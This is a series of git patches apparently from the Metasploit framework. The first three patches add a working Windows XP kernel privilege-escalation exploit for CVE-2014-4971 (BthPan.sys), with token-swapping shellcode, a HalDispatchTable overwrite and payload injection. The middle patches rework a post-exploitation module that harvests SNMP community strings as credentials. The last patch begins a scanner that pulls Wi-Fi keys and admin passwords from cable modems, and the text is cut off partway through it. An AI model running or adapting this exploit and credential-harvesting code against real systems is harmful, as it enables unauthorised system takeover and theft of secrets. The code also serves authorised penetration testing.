From 534a5d964bc4892879180c756fd16f30b7a59ab3 Mon Sep 17 00:00:00 2001 From: Jay Smith Date: Tue, 22 Jul 2014 18:17:06 -0400 Subject: [PATCH 001/107] Add CVE-2014-4971 BthPan local privilege escalation Add CVE-2014-4971 BthPan local privilege escalation for Windows XP SP3 --- modules/exploits/windows/local/bthpan.rb | 284 +++++++++++++++++++++++ 1 file changed, 284 insertions(+) create mode 100644 modules/exploits/windows/local/bthpan.rb diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb new file mode 100644 index 0000000000..0a01c7ef26 --- /dev/null +++ b/modules/exploits/windows/local/bthpan.rb @@ -0,0 +1,284 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'BthPan.sys Privilege Escalation', + 'Description' => %q{ + A vulnerability within BthPan module allows an attacker to inject memory they control + into an arbitrary location they define. This can be used by an attacker to overwrite + HalDispatchTable+0x4 and execute arbitrary code by subsequently calling + NtQueryIntervalProfile. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Windows XP SP3', { } ], + ], + 'References' => + [ + [ 'CVE', 'CVE-2014-4971' ], + [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ] + ], + 'DisclosureDate'=> 'Jul 18 2014', + 'DefaultTarget' => 0 + })) + + end + + def add_railgun_functions + session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') + session.railgun.add_function( + 'psapi', + 'EnumDeviceDrivers', + 'BOOL', + [ + ["PBLOB", "lpImageBase", "out"], + ["DWORD", "cb", "in"], + ["PDWORD", "lpcbNeeded", "out"] + ]) + session.railgun.add_function( + 'psapi', + 'GetDeviceDriverBaseNameA', + 'DWORD', + [ + ["LPVOID", "ImageBase", "in"], + ["PBLOB", "lpBaseName", "out"], + ["DWORD", "nSize", "in"] + ]) + end + + def open_device(dev) + + invalid_handle_value = 0xFFFFFFFF + + r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil) + + handle = r['return'] + + if handle == invalid_handle_value + return nil + end + + return handle + end + + def find_sys_base(drvname) + results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) + addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + current_drvname = results['lpBaseName'][0, results['return']] + if drvname == nil + if current_drvname.downcase.include?('krnl') + return [address, current_drvname] + end + elsif drvname == current_drvname + return [address, current_drvname] + end + end + + return nil + end + + def ring0_shellcode(t) + + tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" + tokenswap << "\x8B\x40\x44\x50\xBB\x04" + tokenswap << "\x00\x00\x00\x8B\x80\x88" + tokenswap << "\x00\x00\x00\x2D\x88" + tokenswap << "\x00\x00\x00\x39\x98\x84" + tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8" + tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" + tokenswap << "\x41\x41\x41\x41" + tokenswap << "\x8B\x80\x88\x00\x00\x00" + tokenswap << "\x2D\x88\x00\x00\x00" + tokenswap << "\x39\x98\x84\x00\x00\x00" + tokenswap << "\x75\xED\x89\xB8\xC8" + tokenswap << "\x00\x00\x00\x61\xC3" + + tokenswap.sub!(/\x41\x41\x41\x41/, [session.sys.process.getpid].pack('V')) + + return tokenswap + end + + def fill_memory(proc, address, length, content) + + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + + if not proc.memory.writable?(address) + vprint_error("Failed to allocate memory") + return nil + else + vprint_good("#{address} is now writable") + end + + result = proc.memory.write(address, content) + + if result.nil? + vprint_error("Failed to write contents to memory") + return nil + else + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") + end + + return address + end + + def disclose_addresses(t) + addresses = {} + + vprint_status("Getting the Kernel module name...") + kernel_info = find_sys_base(nil) + if kernel_info.nil? + vprint_error("Failed to disclose the Kernel module name") + return nil + end + vprint_good("Kernel module found: #{kernel_info[1]}") + + vprint_status("Getting a Kernel handle...") + kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + kernel32_handle = kernel32_handle['return'] + if kernel32_handle == 0 + vprint_error("Failed to get a Kernel handle") + return nil + end + vprint_good("Kernel handle acquired") + + vprint_status("Disclosing the HalDispatchTable...") + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") + hal_dispatch_table = hal_dispatch_table['return'] + if hal_dispatch_table == 0 + vprint_error("Failed to disclose the HalDispatchTable") + return nil + end + hal_dispatch_table -= kernel32_handle + hal_dispatch_table += kernel_info[0] + addresses["halDispatchTable"] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + + return addresses + end + + def check + add_railgun_functions + + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device("\\\\.\\bthpan") + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + os = sysinfo["OS"] + unless (os =~ /windows xp.*service pack 3/i) + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device("\\\\.\\bthpan") + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") + end + + my_target = targets[1] + print_status("Disclosing the HalDispatchTable address...") + @addresses = disclose_addresses(my_target) + if @addresses.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.") + else + print_good("Address successfully disclosed.") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + kernel_shell = ring0_shellcode(my_target) + kernel_shell_address = 0x1 + + buf = "\x90" * 0x6000 + buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400 + buf[0x5000, kernel_shell.length] = kernel_shell + + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) + if result.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + else + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") + end + + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + session.railgun.kernel32.CloseHandle(handle) + + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + result = session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + + print_status("Checking privileges after exploitation...") + + if not is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + else + print_good("Exploitation successful!") + end + + p = payload.encoded + print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + if execute_shellcode(p) + print_good("Enjoy") + else + fail_with(Failure::Unknown, "Error while executing the payload") + end + + end + +end + From 042278ed6a6463ae1701a5c7e2d5f546e1a6e9b9 Mon Sep 17 00:00:00 2001 From: Jay Smith Date: Wed, 23 Jul 2014 11:01:43 -0400 Subject: [PATCH 002/107] Update code to reflect @OJ code suggestions --- modules/exploits/windows/local/bthpan.rb | 54 ++++++++---------------- 1 file changed, 17 insertions(+), 37 deletions(-) diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index 0a01c7ef26..dcfc38265a 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -89,18 +89,14 @@ class Metasploit3 < Msf::Exploit::Local return handle end - def find_sys_base(drvname) + def find_sys_base results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*") addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0, results['return']] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == current_drvname + if current_drvname.downcase.include?('krnl') return [address, current_drvname] end end @@ -108,8 +104,7 @@ class Metasploit3 < Msf::Exploit::Local return nil end - def ring0_shellcode(t) - + def ring0_shellcode tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" tokenswap << "\x8B\x40\x44\x50\xBB\x04" tokenswap << "\x00\x00\x00\x8B\x80\x88" @@ -117,37 +112,32 @@ class Metasploit3 < Msf::Exploit::Local tokenswap << "\x00\x00\x00\x39\x98\x84" tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8" tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" - tokenswap << "\x41\x41\x41\x41" + tokenswap << [session.sys.process.getpid].pack('V') tokenswap << "\x8B\x80\x88\x00\x00\x00" tokenswap << "\x2D\x88\x00\x00\x00" tokenswap << "\x39\x98\x84\x00\x00\x00" tokenswap << "\x75\xED\x89\xB8\xC8" tokenswap << "\x00\x00\x00\x61\xC3" - tokenswap.sub!(/\x41\x41\x41\x41/, [session.sys.process.getpid].pack('V')) - return tokenswap end def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil - else - vprint_good("#{address} is now writable") end + vprint_good("#{address} is now writable") result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil - else - vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") return address end @@ -156,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Local addresses = {} vprint_status("Getting the Kernel module name...") - kernel_info = find_sys_base(nil) + kernel_info = find_sys_base if kernel_info.nil? vprint_error("Failed to disclose the Kernel module name") return nil @@ -194,17 +184,17 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end + os = sysinfo["OS"] + unless (os =~ /windows xp.*service pack 3/i) + return Exploit::CheckCode::Safe + end + handle = open_device("\\\\.\\bthpan") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] - unless (os =~ /windows xp.*service pack 3/i) - return Exploit::CheckCode::Safe - end - return Exploit::CheckCode::Vulnerable end @@ -213,12 +203,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::None, 'Session is already elevated') end - if sysinfo["Architecture"] =~ /wow64/i - fail_with(Failure::NoTarget, "Running against WOW64 is not supported") - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") - end - unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end @@ -240,7 +224,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open - kernel_shell = ring0_shellcode(my_target) + kernel_shell = ring0_shellcode kernel_shell_address = 0x1 buf = "\x90" * 0x6000 @@ -251,9 +235,8 @@ class Metasploit3 < Msf::Exploit::Local if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") - else - print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) @@ -265,16 +248,13 @@ class Metasploit3 < Msf::Exploit::Local print_status("Checking privileges after exploitation...") if not is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") - else - print_good("Exploitation successful!") + fail_with(Failure::Unknown, "The privilege escalation wasn't successful") end + print_good("Privilege escalation successful!") p = payload.encoded print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") - if execute_shellcode(p) - print_good("Enjoy") - else + if !execute_shellcode(p) fail_with(Failure::Unknown, "Error while executing the payload") end From b55f425ec0d332796edf9df2f0b133d9c38fcb22 Mon Sep 17 00:00:00 2001 From: Jay Smith Date: Thu, 14 Aug 2014 17:22:07 -0400 Subject: [PATCH 003/107] Merge in changes from @todb-r7. --- modules/exploits/windows/local/bthpan.rb | 72 +++++++++++------------- 1 file changed, 34 insertions(+), 38 deletions(-) diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index dcfc38265a..37740a6ddc 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -14,12 +14,13 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - def initialize(info={}) - super(update_info(info, { - 'Name' => 'BthPan.sys Privilege Escalation', + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', 'Description' => %q{ - A vulnerability within BthPan module allows an attacker to inject memory they control - into an arbitrary location they define. This can be used by an attacker to overwrite + A vulnerability within Microsoft Bluetooth Personal Area Networking module, + BthPan.sys, can allow an attacker to inject memory controlled by the attacker + into an arbitrary location. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. }, @@ -34,26 +35,25 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ - [ 'Automatic', { } ], - [ 'Windows XP SP3', { } ], + [ 'Automatic', {} ], + [ 'Windows XP SP3', {} ] ], 'References' => [ - [ 'CVE', 'CVE-2014-4971' ], + [ 'CVE', '2014-4971' ], [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ] ], - 'DisclosureDate'=> 'Jul 18 2014', - 'DefaultTarget' => 0 - })) - + 'DisclosureDate' => 'Jul 18 2014', + 'DefaultTarget' => 0 + )) end def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') + session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Exploit::Local end def open_device(dev) - invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil) @@ -84,24 +83,28 @@ class Metasploit3 < Msf::Exploit::Local if handle == invalid_handle_value return nil + else + return handle end - - return handle end + # @return [Array, nil] the address and driver name or nil + # if the driver name of 'krnl' isn't found def find_sys_base results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*") + driver_array = nil addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0, results['return']] if current_drvname.downcase.include?('krnl') - return [address, current_drvname] + driver_array = [address, current_drvname] + break end end - return nil + return driver_array end def ring0_shellcode @@ -118,14 +121,12 @@ class Metasploit3 < Msf::Exploit::Local tokenswap << "\x39\x98\x84\x00\x00\x00" tokenswap << "\x75\xED\x89\xB8\xC8" tokenswap << "\x00\x00\x00\x61\xC3" - - return tokenswap end def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") - if not proc.memory.writable?(address) + unless proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil end @@ -147,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status("Getting the Kernel module name...") kernel_info = find_sys_base - if kernel_info.nil? + unless kernel_info vprint_error("Failed to disclose the Kernel module name") return nil end @@ -180,19 +181,16 @@ class Metasploit3 < Msf::Exploit::Local def check add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end os = sysinfo["OS"] - unless (os =~ /windows xp.*service pack 3/i) - return Exploit::CheckCode::Safe - end + return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i handle = open_device("\\\\.\\bthpan") - if handle.nil? - return Exploit::CheckCode::Safe - end + return Exploit::CheckCode::Safe unless handle + session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Vulnerable @@ -239,26 +237,24 @@ class Metasploit3 < Msf::Exploit::Local print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") - if not is_system? + unless is_system? fail_with(Failure::Unknown, "The privilege escalation wasn't successful") end print_good("Privilege escalation successful!") p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") - if !execute_shellcode(p) + print_status("Injecting #{p.length} bytes to memory and executing it...") + unless execute_shellcode(p) fail_with(Failure::Unknown, "Error while executing the payload") end - end - end From 081a3437a4d18bdd1e5730d4b9f0dc78a182a58e Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sun, 24 Aug 2014 09:38:15 -0500 Subject: [PATCH 004/107] Refactor for Credentials gem --- modules/post/windows/gather/enum_snmp.rb | 83 +++++++++++++++--------- 1 file changed, 54 insertions(+), 29 deletions(-) diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index ab74be16e4..e86bf12d10 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post def community_strings comm_str = [] tbl = Rex::Ui::Text::Table.new( - 'Header' => "Comunity Strings", + 'Header' => "Community Strings", 'Indent' => 1, 'Columns' => [ @@ -63,33 +63,30 @@ class Metasploit3 < Msf::Post if not comm_str.nil? and not comm_str.empty? comm_str.each do |c| + #comm_type is for human display, access_type is passed to the credential + #code using labels consistent with the SNMP login scanner case registry_getvaldata(key,c) when 4 - comm_type = "READ ONLY" + comm_type = 'READ ONLY' + access_type = 'read-only' when 1 - comm_type = "DISABLED" + comm_type = 'DISABLED' + access_type = 'disabled' when 2 - comm_type = "NOTIFY" + comm_type = 'NOTIFY' + access_type = 'notify' when 8 - comm_type = "READ & WRITE" + comm_type = 'READ & WRITE' + access_type = 'read-write' when 16 - comm_type = "READ CREATE" + comm_type = 'READ CREATE' + access_type = 'read-create' end # Save data to table tbl << [c,comm_type] - # Save Community Strings to DB - report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + register_creds(session.sock.peerhost, 161, '', c, 'snmp', access_type) end print_status("") @@ -116,21 +113,13 @@ class Metasploit3 < Msf::Post if not trap_hosts.nil? and not trap_hosts.empty? trap_hosts.each do |c| print_status("Community Name: #{c}") - session.framework.db.report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + t_comm_key = key+"\\"+c registry_enumvals(t_comm_key).each do |t| - print_status("\tDestination: " + registry_getvaldata(t_comm_key,t)) + trap_dest = registry_getvaldata(t_comm_key,t) + print_status("\tDestination: #{trap_dest}") + register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap') end - end else print_status("No Traps are configured") @@ -152,4 +141,40 @@ class Metasploit3 < Msf::Post print_status("\tCommunity Strings can be accessed from any host") end end + + def register_creds(client_ip, client_port, user, pass, service_name, access_type) + # Build service information + service_data = { + address: client_ip, + port: client_port, + service_name: service_name, + protocol: 'udp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + access_level: access_type, + origin_type: :session, + post_reference_name: self.fullname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data[:session_id] = session.db_record.id if !session.db_record.nil? + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end From 601c5515f8c420f12f04e50b9e989dd63d7b2ffd Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sun, 24 Aug 2014 17:18:31 -0500 Subject: [PATCH 005/107] Corrected 3 issues identified by jlee-r7 --- modules/post/windows/gather/enum_snmp.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index e86bf12d10..8ad452919a 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Post if not comm_str.nil? and not comm_str.empty? comm_str.each do |c| - #comm_type is for human display, access_type is passed to the credential - #code using labels consistent with the SNMP login scanner + # comm_type is for human display, access_type is passed to the credential + # code using labels consistent with the SNMP login scanner case registry_getvaldata(key,c) when 4 comm_type = 'READ ONLY' @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Post # Save data to table tbl << [c,comm_type] - register_creds(session.sock.peerhost, 161, '', c, 'snmp', access_type) + register_creds(session.session_host, 161, '', c, 'snmp', access_type) end print_status("") @@ -156,6 +156,7 @@ class Metasploit3 < Msf::Post credential_data = { access_level: access_type, origin_type: :session, + session_id: session_db_id, post_reference_name: self.fullname, private_data: pass, private_type: :password, @@ -163,7 +164,6 @@ class Metasploit3 < Msf::Post workspace_id: myworkspace_id } - credential_data[:session_id] = session.db_record.id if !session.db_record.nil? credential_data.merge!(service_data) credential_core = create_credential(credential_data) From 0b820c59b16677c5862de5cce30fe5613916c013 Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Wed, 27 Aug 2014 18:34:15 -0500 Subject: [PATCH 006/107] Fix to self.refname --- modules/post/windows/gather/enum_snmp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index 8ad452919a..34e6bcb74a 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -157,7 +157,7 @@ class Metasploit3 < Msf::Post access_level: access_type, origin_type: :session, session_id: session_db_id, - post_reference_name: self.fullname, + post_reference_name: self.refname, private_data: pass, private_type: :password, username: user, From b253e444cb9996f8678b44bc32f58d1e3be978fc Mon Sep 17 00:00:00 2001 From: inokii Date: Sat, 10 May 2014 02:40:37 -0400 Subject: [PATCH 007/107] Initial commit of SBG6580 scanner after cleanup --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 264 ++++++++++++++++++ 1 file changed, 264 insertions(+) create mode 100644 modules/auxiliary/scanner/snmp/sbg6580_enum.rb diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb new file mode 100644 index 0000000000..b003901954 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -0,0 +1,264 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', + 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports wireless + network keys and information as well as device user interface username + and password. + The default community used is "public".', + 'References' => + [ + [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], + ], + 'Author' => 'Matthew Kienow ', + 'License' => MSF_LICENSE + )) + end + + def run_host(ip) + + begin + snmp = connect_snmp + + # represents the order of the output data fields + fields_order = [ + "Host IP", "SSID", "802.11 Band", "Network Authentication Mode", + "WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2", + "WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption", + "WPA Pre-Shared Key (PSK)", "Group Key Rotation Interval", + "RADIUS Server", "RADIUS Port", "RADIUS Key", + "WPA/WPA2 Re-auth Interval", "Device UI Username", "Device UI Password" + ] + + output_data = {} + output_data = {"Host IP" => ip} + + if snmp.get_value('sysDescr.0') =~ /SBG6580/ + # print connected status after the first query so if there are + # any timeout or connectivity errors; the code would already + # have jumped to error handling where the error status is + # already being displayed. + print_good("#{ip}, Connected.") + + primaryWifiState = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i + if primaryWifiState == 1 + # primary Wifi interface up + ssid = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32').to_s + output_data["SSID"] = ssid.strip + + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0').to_i + output_data["802.11 Band"] = get_wireless_band_name(wireless_band) + + network_auth_mode = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.32').to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data["Network Authentication Mode"] = network_auth_mode_name + + case network_auth_mode + when 1, 6 + # WEP, WEP 802.1x Authentication + wep_passphrase = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.32').to_s + output_data["WEP Passphrase"] = wep_passphrase.strip + + wep_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.32').to_i + wep_encryption_name = "unknown" + wep_key1 = wep_key2 = wep_key3 = wep_key4 = "" + if wep_encryption == 1 + wep_encryption_name = "64-bit" + # TODO: need to test what to_s does to the SNMP hex-string + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1').to_s + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2').to_s + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3').to_s + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4').to_s + elsif wep_encryption == 2 + wep_encryption_name = "128-bit" + # TODO: need to test what to_s does to the SNMP hex-string + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1').to_s + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2').to_s + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3').to_s + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4').to_s + end + output_data["WEP Encryption"] = wep_encryption_name + output_data["WEP Key 1"] = wep_key1.strip + output_data["WEP Key 2"] = wep_key2.strip + output_data["WEP Key 3"] = wep_key3.strip + output_data["WEP Key 4"] = wep_key4.strip + + # Get current network key. + #= 